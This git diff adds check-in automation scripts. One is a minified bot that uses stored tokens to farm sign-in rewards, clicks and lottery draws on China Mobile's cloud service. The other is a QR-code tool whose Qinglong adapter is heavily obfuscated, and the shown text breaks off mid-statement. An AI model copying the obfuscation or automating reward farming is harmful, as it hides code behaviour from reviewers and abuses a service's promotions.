this.cookies = {}, this.jwtHeaders = { + "User-Agent": ft, + Accept: "*/*", + Host: "caiyun.feixin.10086.cn:7071" + }, this.noteToken = "", this.noteAuth = "", this.notebookId = "", this.clickNum = t.clickNum, this.drawTimes = t.drawTimes, this.parseCookie(), this.requester = function(e, t) { + return { + request: r, + requestJson: async function(e, t = 3) { + return (await r({ + responseType: "json", + ...e + }, t)).data + }, + requestText: async function(e, t = 3) { + return (await r({ + responseType: "text", + ...e + }, t)).data + } + }; + async function r(r, o = 3) { + let n; + for (let s = 0; s < o; s += 1) try { + return await e.request({ + timeout: t(), + responseType: "json", + ...r + }) + } catch (e) { + n = e, s < o - 1 && await i(1e3) + } + throw n + } + }(gt, () => this.config.requestTimeout); + const o = this; + var n; + this.api = { + ...wt(n = { + get authorization() { + return o.authorization + }, + get account() { + return o.account + }, + get authToken() { + return o.authToken + }, + get config() { + return o.config + }, + get jwtHeaders() { + return o.jwtHeaders + }, + request: (...e) => o.request(...e), + requestJson: (...e) => o.requestJson(...e), + requestText: (...e) => o.requestText(...e), + md5: e => Ze.MD5(e).toString().toUpperCase(), + randomHex: it, + randomWordArray: st, + formatDate: nt + }), + ...Ft(n), + ...Et(n), + ...St(n), + ...qt(n) + } + } + parseCookie() { + if (this.rawCookie.includes("#")) { + const [e, t, r] = this.rawCookie.split("#"); + this.authorization = e, this.account = t, this.authToken = r || "" + } else this.authorization = this.rawCookie, this.authToken = "00", this.account = function(e) { + try { + const t = String(e || "").replace(/^Basic\s+/i, ""); + return Ze.enc.Utf8.stringify(Ze.enc.Base64.parse(t)).split(":")[1] || "13800138000" + } catch (e) { + return "13800138000" + } + }(this.authorization); + this.maskedAccount = function(e) { + const t = String(e || "未知账号"); + return t.length >= 7 ? `${t.slice(0,3)}****${t.slice(7)}` : t + }(this.account), this.cookies.sensors_stay_time = String(Date.now()) + } + log(e) { + this.reporter.line(`[${this.maskedAccount}] ${e}`) + } + async run() { + try { + if (!await this.jwt()) return void this.reporter.invalid.push(this.maskedAccount); + await this.signinStatus(), await this.clickTask(), await this.processTaskList("sign_in_3", "cloud_app"), await this.cloudGame(), await this.wxSign(), await this.shake(), await this.surplusNum(), await this.backupCloud(), await this.openSend(), await this.processTaskList("newsign_139mail", "email_app"), await this.receive(), this.config.uploadEnabled && await this.uploadLargeFile(), this.config.shareEnabled && await this.shareFile() + } catch (e) { + this.reporter.errors.push(`${this.maskedAccount}: ${e.message||String(e)}`), this.log(`执行异常: ${function(e){if(e instanceof Error)return`${e.name}: ${e.message}`;try{return JSON.stringify(e)}catch(t){return String(e)}}(e)}`) + } + } + async request(e, t = 3) { + return this.requester.request(e, t) + } + async requestJson(e, t = 3) { + return this.requester.requestJson(e, t) + } + async requestText(e, t = 3) { + return this.requester.requestText(e, t) + } + async ssoForMCloud() { + return this.api.ssoForMCloud() + } + async ssoForPortal() { + return this.api.ssoForPortal() + } + async jwt() { + const e = await this.ssoForMCloud() || await this.ssoForPortal(); + if (!e) return this.log("获取 ssoToken 失败"), !1; + const t = await this.api.fetchJwt(e); + return t && 0 === t.code ? (this.jwtHeaders.jwtToken = t.result.token, this.cookies.jwtToken = t.result.token, this.log("jwtToken 获取成功"), !0) : (this.log(`获取 jwtToken 失败: ${t?.msg||"未知错误"}`), !1) + } + async signinStatus() { + await this.sleep(); + const e = await this.api.getSigninStatus(); + if ("success" !== e?.msg) return void this.log(`签到状态查询失败: ${e?.msg||"未知错误"}`); + if (e.result?.todaySignIn) return void this.log("今日已签到"); + const t = await this.api.doSignin(); + this.log("success" === t?.msg ? "签到成功" : `签到失败: ${t?.msg||"未知错误"}`) + } + async clickTask() { + let e = 0; + for (let t = 0; t < this.clickNum; t += 1) try { + const t = await this.api.clickTask(319); + t?.result && (e += 1), await i(200) + } catch (e) {} + this.log(e > 0 ? `戳一下成功 ${e} 次` : `戳一下未获得奖励 x ${this.clickNum}`) + } + async processTaskList(e, t) { + const r = await this.api.getTaskList(e); + await this.sleep(); + const o = r?.result || {}; + for (const e of Object.keys(o)) + if (!["new", "hidden", "hiddenabc"].includes(e)) + for (const r of o[e]) ot(t, e, r.id) || ("FINISH" !== r.state ? (this.log(`去完成任务: ${r.name}`), await this.doTask(r.id, e, t), await i(2e3)) : this.log(`已完成任务: ${r.name}`)) + } + async doTask(e, t, r) { + if (await this.sleep(), await this.api.clickTask(e, { + throwHttpErrors: !1 + }), "cloud_app" === r && "day" === t) switch (e) { + case 106: + await this.uploadZeroFile(); + break; + case 107: + await this.createDefaultNote() + } + } + async refreshNoteToken() { + if (!this.authToken || "00" === this.authToken) return !1; + const e = await this.api.refreshNoteToken(); + return this.noteToken = e.headers?.NOTE_TOKEN || e.headers?.note_token || "", this.noteAuth = e.headers?.APP_AUTH || e.headers?.app_auth || "", !(!this.noteToken || !this.noteAuth) + } + async createDefaultNote() { + if (!await this.refreshNoteToken()) return void this.log("跳过创建笔记: 缺少 authToken"); + const e = { + ...pt, + APP_NUMBER: this.account, + APP_AUTH: this.noteAuth, + NOTE_TOKEN: this.noteToken + }, + t = await this.api.syncNotebook(e); + this.notebookId = t?.notebooks?.[0]?.notebookId || "", this.notebookId ? (await this.api.createNote(e, this.notebookId), this.log("创建笔记完成")) : this.log("获取默认笔记本失败") + } + async uploadZeroFile() { + await this.api.uploadSimpleFile(), this.log("上传任务文件完成") + } + async wxSign() { + await this.sleep(); + const e = await this.api.getWxSignInfo(); + this.log(e?.result?.todaySignIn ? "公众号签到成功" : `公众号签到失败: ${e?.msg||"可能未绑定公众号"}`) + } + async shake() { + let e = 0; + for (let t = 0; t < this.clickNum; t += 1) try { + const t = await this.api.doShake(); + t?.result?.shakePrizeconfig?.name && (e += 1, this.log(`摇一摇获得: ${t.result.shakePrizeconfig.name}`)), await i(1e3) + } catch (e) {} + e || this.log(`摇一摇未中奖 x ${this.clickNum}`) + } + async surplusNum() { + await this.sleep(); + const e = await this.api.getDrawInfo(), + t = e?.result?.surplusNumber || 0; + if (this.log(`剩余抽奖次数: ${t}`), !(t <= 50 - this.drawTimes)) + for (let e = 0; e < this.drawTimes; e += 1) { + await this.sleep(); + const e = await this.api.doDraw(); + this.log(0 === e?.code ? `抽奖成功: ${e?.result?.prizeName||""}` : "抽奖失败") + } + } + async cloudGame() { + const e = await this.api.getCloudGameInfo(), + t = e?.result?.info?.curr || 0, + r = e?.result?.history?.[0]?.rank || "", + o = e?.result?.history?.[0]?.count || 0; + this.log(`云朵大作战剩余 ${t} 次, 排名 ${r}, 合成 ${o} 次`); + for (let e = 0; e < t; e += 1) await this.api.inviteCloudGame(), await at(1e4, 15e3), await this.api.finishCloudGame(), this.log("云朵大作战完成一局") + } + async receive() { + const e = await this.api.receiveClouds(); + await this.sleep(); + const t = await this.api.getPrizeLog(Date.now()), + r = (t?.result?.result || []).filter(e => 1 === e.flag).map(e => e.prizeName).join("、"), + o = e?.result?.receive || 0, + n = e?.result?.total || 0; + this.reporter.amounts.push(`${this.maskedAccount}: 云朵 ${n}${r?`, 待领取 ${r}`:""}`), this.log(`当前待领取 ${o} 云朵, 当前总数 ${n}`) + } + async backupCloud() { + const e = await this.api.getBackupInfo(), + t = e?.result?.state; + if (0 === t) { + const e = await this.api.receiveBackupReward(); + this.log(`连续备份奖励: ${e?.result?.result||""}`) + } else 1 === t && this.log("本月连续备份奖励已领取"); + await this.sleep(); + const r = await this.api.getTaskExpansion(); + if (r?.result?.preMonthBackup && !r?.result?.curMonthBackupTaskAccept) { + const e = await this.api.receiveTaskExpansion(r.result.acceptDate); + this.log(`膨胀云朵领取: ${e?.result?.cloudCount||e?.msg||""}`) + } + } + async openSend() { + const e = await this.api.getMsgPushStatus(); + if (1 === e?.result?.pushOn) + for (const t of [1, 2]) { + const r = 1 === t ? "firstTaskStatus" : "secondTaskStatus"; + if ([2, 3].includes(e.result[r])) { + const e = await this.api.obtainMsgPushReward(t); + this.log(`通知奖励${t}: ${e?.result?.description||"已处理"}`) + } + } else this.log("通知权限未开启") + } + async uploadLargeFile() { + this.config.uploadDirId ? (await this.api.uploadLargeFile(), this.log(`大文件上传任务已执行: ${this.config.uploadFilename}`)) : this.log("跳过大文件上传: 缺少 dirId") + } + async shareFile() { + if (!this.config.shareFilename || !this.config.uploadDirId) return void this.log("跳过分享任务: 缺少 shareFilename 或 dirId"); + const e = await this.api.listPersonalFiles(), + t = (e?.data?.items || []).find(e => String(e.name || "").includes(this.config.shareFilename)); + if (!t) return void this.log("未找到可分享文件"); + const r = await this.api.createOutLink(t.fileId, t.name), + o = r?.data?.getOutLinkRes?.getOutLinkResSet?.[0]?.linkUrl || ""; + this.log(o ? `分享成功: ${o}` : "分享失败") + } + async sleep() { + await at(this.config.delayMin, this.config.delayMax) + } +} +const Wt = c.displayName, + { + missingCookie: Jt, + runCompleted: Xt + } = l; +async function Kt(r = ct()) { + if (!r.cookie) throw new Error(Jt); + const o = (i = r.cookie, String(i).split(/[@\n]/).map(e => e.trim()).filter(Boolean)); + var i; + const s = new Ye; + s.info(`${Wt} 共获取到 ${o.length} 个账号`); + for (let e = 0; e < o.length; e += 1) { + s.section(`第 ${e+1} 个账号`); + const t = new Ut(o[e], r, s); + await t.run(), e < o.length - 1 && await at(5e3, 1e4) + } + const a = s.renderSummary(); + return t.log(a), r.push && function(r = `ℹ️ ${e} 通知`, o = "", i = "", s = {}) { + const a = n(s); + switch (e) { + case "Surge": + case "Loon": + case "Stash": + case "Egern": + case "Shadowrocket": + default: + $notification.post(r, o, i, a); + break; + case "Quantumult X": + $notify(r, o, i, a); + case "Node.js": + } + t.group("📣 系统通知"), t.log(r, o, i, JSON.stringify(a, null, 2)), t.groupEnd() + }?.(Wt, Xt, a), { + summary: a, + reporter: s + } +} +const Vt = c.displayName, + { + runStart: Gt, + runFailed: Qt + } = l; +!async function() { + try { + t.log(`\n${Vt} ${Gt}`), await Kt(ct()) + } catch (e) { + t.log(`${Vt} ${Qt}: ${e?.message||String(e)}`), t.error(e instanceof Error ? e : new Error(String(e))) + } finally { + ! function(n = {}) { + switch (e) { + case "Surge": + n.policy && r.set(n, "headers.X-Surge-Policy", n.policy), t.log("🚩 执行结束!", `🕛 ${(new Date).getTime()/1e3-$script.startTime} 秒`), $done(n); + break; + case "Loon": + n.policy && (n.node = n.policy), t.log("🚩 执行结束!", `🕛 ${(new Date-$script.startTime)/1e3} 秒`), $done(n); + break; + case "Stash": + n.policy && r.set(n, "headers.X-Stash-Selected-Proxy", encodeURI(n.policy)), t.log("🚩 执行结束!", `🕛 ${(new Date-$script.startTime)/1e3} 秒`), $done(n); + break; + case "Egern": + case "Shadowrocket": + t.log("🚩 执行结束!"), $done(n); + break; + case "Quantumult X": + switch (n.policy && r.set(n, "opts.policy", n.policy), typeof(n = r.pick(n, ["status", "url", "headers", "body", "bodyBytes"])).status) { + case "number": + n.status = `HTTP/1.1 ${n.status} ${o[n.status]}`; + break; + case "string": + case "undefined": + break; + default: + throw new TypeError(`${Function.name}: 参数类型错误, status 必须为数字或字符串`) + } + n.body instanceof ArrayBuffer ? (n.bodyBytes = n.body, n.body = void 0) : ArrayBuffer.isView(n.body) ? (n.bodyBytes = n.body.buffer.slice(n.body.byteOffset, n.body.byteLength + n.body.byteOffset), n.body = void 0) : n.body && (n.bodyBytes = void 0), t.log("🚩 执行结束!"), $done(n); + break; + case "Node.js": + t.log("🚩 执行结束!"), process.exit(1); + break; + default: + t.log("🚩 执行结束!") + } + }({}) + } +}(); \ No newline at end of file diff --git a/脚本库/web版/账密/二维码生成/2025-08-25_qrcode_23c17b49.js b/脚本库/web版/账密/二维码生成/2025-08-25_qrcode_23c17b49.js new file mode 100644 index 0000000..e67a62f --- /dev/null +++ b/脚本库/web版/账密/二维码生成/2025-08-25_qrcode_23c17b49.js @@ -0,0 +1,604 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/qrcode.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/qrcode.js +// # Repo: imoki/sign_script +// # Path: polymerization/qrcode.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 23c17b498b2518ba1f69976bdf3eb210ac52090178d9129e0847bd8985402aa4 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "二维码生成" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240405 + 环境变量名:qrcode(修改这里) + 环境变量值:无(修改这里) + 备注:二维码生成工具 +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "qrcode"; // 分配置表名称, (修改这里) +var pushHeader = "【二维码生成】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let 